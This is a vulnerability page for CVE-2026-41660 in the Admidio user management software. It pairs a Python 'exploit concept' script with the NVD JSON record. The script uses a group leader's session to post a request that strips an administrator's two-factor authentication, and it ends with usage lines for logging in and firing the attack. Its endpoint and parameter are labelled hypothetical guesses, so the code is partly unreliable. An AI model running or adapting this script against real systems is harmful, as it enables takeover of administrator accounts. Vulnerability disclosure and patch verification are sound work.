CVE-2026-41660

import requests # Exploit concept for CVE-2026-41660 # Description: Removes 2FA from an admin account using a low-privilege group leader account. def exploit(target_url, attacker_session, admin_user_id): """ attacker_session: requests.Session object of a 'Group Leader' with profile edit rights on the admin. admin_user_id: The ID of the target admin user. """ # 1. Get the CSRF token from the profile edit page or preferences page profile_url = f"{target_url}/adm_program/modules/profile/profile.php" params = {'user_id': admin_user_id} response = attacker_session.get(profile_url, params=params) # Note: In a real scenario, parse the CSRF token from HTML response # csrf_token = parse_csrf(response.text) csrf_token = "extracted_csrf_token_value" # 2. Send request to remove 2FA # The endpoint might be something like /adm_program/modules/preferences/preferences_function.php # based on Admidio structure. remove_2fa_url = f"{target_url}/adm_program/modules/preferences/preferences_function.php" payload = { 'user_id': admin_user_id, 'mode': 'remove_2fa', # Hypothetical parameter for the specific action 'csrf_token': csrf_token } # 3. Execute the attack # Due to the logic error, the server checks if the attacker can edit the profile, # but fails to check if the attacker is allowed to change 2FA settings specifically. response = attacker_session.post(remove_2fa_url, data=payload) if response.status_code == 200 and "success" in response.text: print(f"[+] Successfully removed 2FA for Admin ID: {admin_user_id}") else: print("[-] Exploit failed or already patched.") # Usage example (requires valid session) # s = requests.Session() # s.post("http://target/adm_program/system/login.php", data={'login': 'leader', 'password': 'pass'}) # exploit("http://target/adm_program", s, 1)

{"cve": {"id": "CVE-2026-41660", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:29.740", "lastModified": "2026-05-07T14:51:01.740", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Admidio is an open-source user management solution. Prior to version 5.0.9, a logic error in Admidio's two-factor authentication reset inverts the authorization check. Non-admin users cannot remove their own TOTP configuration, but they can remove other users' TOTP, including administrators. A group leader with profile edit rights on an admin account can strip that admin's 2FA. This issue has been patched in version 5.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-rh3w-4ccx-prf9", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-rh3w-4ccx-prf9", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}